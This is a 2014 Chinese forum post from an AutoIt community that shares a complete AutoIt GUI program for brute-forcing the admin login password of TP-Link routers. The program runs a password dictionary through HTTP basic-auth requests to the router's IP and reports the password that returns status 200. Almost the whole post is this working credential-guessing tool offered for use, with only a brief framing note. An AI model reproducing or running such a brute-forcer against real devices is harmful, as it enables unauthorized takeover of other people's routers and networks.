找回密码
 加入
搜索
查看: 6863|回复: 0

[效率算法] [已解决]tplink路由器登陆密码破解降低内存占用

[复制链接]
发表于 2014-6-16 18:52:33 | 显示全部楼层 |阅读模式
本帖最后由 user11 于 2014-6-27 23:52 编辑

这个是TPLINK路由器登陆密码自动破解。。。。调用字典破解路由器登陆密码,注意不是破解无线密码,这个可以用于知道无线密码但是不知道登陆密码,,

,自己解决了!代码改动一行就好!

#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=..\..\..\..\WINDOWS\system32\SHELL32.dll|-172
#AutoIt3Wrapper_outfile=..\TPLINK登陆密码破解.EXE
#AutoIt3Wrapper_Res_Description=TPLINK路由器登陆密码破解
#AutoIt3Wrapper_Res_Fileversion=1.0.0.0
#AutoIt3Wrapper_Res_LegalCopyright=HTTP://www.ppoo.tk
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
#include <WinHttp_GetRespond.au3>
#include <Array.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <Constants.au3> ; $TRAY_EVENT_PRIMARYDOUBLE 与 $TRAY_EVENT_SECONDARYUP 常量的需要.
If _Singleton("tplinkpass", 1) = 0 Then
        MsgBox(16, "提示", "本程序已经在运行,本进程将自动退出!", 5)
        Exit
EndIf

Opt("WinTitleMatchMode", 2)
Opt("WinSearchChildren", 1)
Opt("GUIOnEventMode", 1) ; 切换为 OnEvent 模式
Opt("TrayOnEventMode", 1)
Opt("TrayMenuMode", 3);;

TrayCreateItem("显示界面") ; 创建分隔线.
TrayItemSetOnEvent(-1, "showme")

TrayCreateItem("") ; 创建分隔线.
TrayCreateItem("访问官网")
TrayItemSetOnEvent(-1, "openweb")


TrayCreateItem("") ; 创建分隔线.
TrayCreateItem("退出程序")
TrayItemSetOnEvent(-1, "myexit")
TraySetOnEvent($TRAY_EVENT_PRIMARYDOUBLE, "TrayEvent")
;~ TraySetOnEvent($TRAY_EVENT_SECONDARYUP, "TrayEvent")

TraySetState(1) ; 显示托盘菜单.

 



$user = "admin"
$pass = "admin"
$routeip = "192.168.1.1"
$ok = 0
$n = 0
$zidian = @ScriptDir & "\zidian.txt"
Local $file = FileOpen($zidian, 0)

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("TPLINK路由器登录密码破解", 270, 142, 227, 124)
GUISetOnEvent($GUI_EVENT_CLOSE, "CLOSEClicked")

GUICtrlCreateGroup("", 2, 1, 265, 138)
$Label1 = GUICtrlCreateLabel("TPLINK路由器登陆密码破解", 50, 10, 186, 17)
GUICtrlSetFont(-1, 10, 400, 0, "微软雅黑")
GUICtrlSetColor(-1, 0x0000FF)
$Label2 = GUICtrlCreateLabel("用户名:", 10, 35, 50, 17)
$Label3 = GUICtrlCreateLabel("IP地址:", 10, 59, 50, 17)
$Label4 = GUICtrlCreateLabel("字典:", 10, 94, 50, 17)
$Label5 = GUICtrlCreateLabel(" 欢迎访问官方网站 http://www.ppoo.tk", 30, 120, 296, 17)
GUICtrlSetOnEvent($Label5, "openweb")
GUICtrlSetCursor(-1, 0)

$Input1 = GUICtrlCreateInput("admin", 56, 32, 129, 21)
$Input2 = GUICtrlCreateInput("192.168.1.1", 56, 56, 129, 21)
$Input3 = GUICtrlCreateInput("", 56, 88, 129, 21)
$Button1 = GUICtrlCreateButton("破 解", 192, 31, 57, 49)
GUICtrlSetOnEvent($Button1, "Button1")
$Button2 = GUICtrlCreateButton("浏 览", 192, 87, 57, 25)
GUICtrlSetOnEvent($Button2, "Button2")
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
        Sleep(10)
        
        If $ok = 1 Then
                
                

                
                Local $line = FileReadLine($file)
                If @error = -1 Then
                        MsgBox(0, "错误", "字典测试完毕,未发现密码!")
                        $ok = 0
                        GUICtrlSetData($Button1, "破 解")
                Else
                        
                        $MyOpen = _WinHttpOpen()
                        $rContext = _WinHTTP_GetRespond($MyOpen, "http://" & $user & ":" & $line & "@" & $routeip)
                        If Not @error Then
                                
                                
                                $pjok = $rContext[1]
                                If  $pjok = "200" Then
                                        MsgBox(64, "恭喜", " 发现密码  " & $line)
                                        $ok = 0
                                        GUICtrlSetData($Button1, "破 解")
                                Else
                                        TrayTip("破解中", $line,1)
                                EndIf
                                

                        EndIf

                EndIf
                
                
                
                
        EndIf


        

WEnd



Func Button1()
        
        If $ok = 0 Then
                $user = GUICtrlRead($Input1)
                $routeip = GUICtrlRead($Input2)
                $zidian = GUICtrlRead($Input3)
                If StringLen($user) < 4 Then
                        MsgBox(64, "提示", "请检查用户名格式")
                        
                ElseIf StringLen($routeip) < 10 Or Not StringInStr($routeip, ".", 2) Then
                        MsgBox(64, "提示", "请检查路由IP地址格式")
                ElseIf StringLen($zidian) < 4 Then
                        MsgBox(64, "提示", "请检查字典路径")
                Else
                          $file = FileOpen($zidian, 0)
                        If $file = -1 Then
                                MsgBox(0, "错误", "不能打开文件.")
                        Else
                                Global $ok = 1
                                GUICtrlSetData($Button1, "停 止")

                        EndIf
                        
                        
                EndIf
        Else
                GUICtrlSetData($Button1, "破 解")
                Global $ok = 0
        EndIf

EndFunc   ;==>Button1

Func Button2()
        
        Local $var = FileOpenDialog("请选择密码字典文件", @DesktopDir & "\", "字典文件 (*.txt;*.dic)|所有文件 (*.*)", 1 + 2)
        If @error Then
                MsgBox(64, "提示", "没有选择文件!")
        Else
                GUICtrlSetData($Input3, $var)
        EndIf

        
EndFunc   ;==>Button2

Func CLOSEClicked()
        ;注意:此时 @GUI_CTRLID 的值将等价于 $GUI_EVENT_CLOSE,
        ;而 @GUI_WINHANDLE 则等价于 $mainwindow 或 $dummywindow
        If @GUI_WinHandle = $Form1 Then
                $tcmsg = MsgBox(4 + 64, "提示", "请确认是否退出本程序?" & @CRLF & @CRLF & "是 退出,否 最小化托盘")
                If $tcmsg = 6 Then
                        Exit
                Else
;~                  
                        GUISetState(@SW_HIDE)
                EndIf
                
                
        EndIf
EndFunc   ;==>CLOSEClicked



Func TrayEvent()
        Switch @TRAY_ID ; 检查最后一个托盘项目标识符.
                Case $TRAY_EVENT_PRIMARYDOUBLE
                        GUISetState(@SW_SHOW)
                        WinSetState("TPLINK路由器登录密码破解", "", @SW_RESTORE)

        EndSwitch
EndFunc   ;==>TrayEvent

Func myexit()
        Exit
EndFunc   ;==>myexit

Func openweb()
        ShellExecute("http://www.baidu.com/")
        
EndFunc   ;==>openweb

Func showme()
        GUISetState(@SW_SHOW)
EndFunc   ;==>showme
 
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-12-25 03:09 , Processed in 0.096273 second(s), 23 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表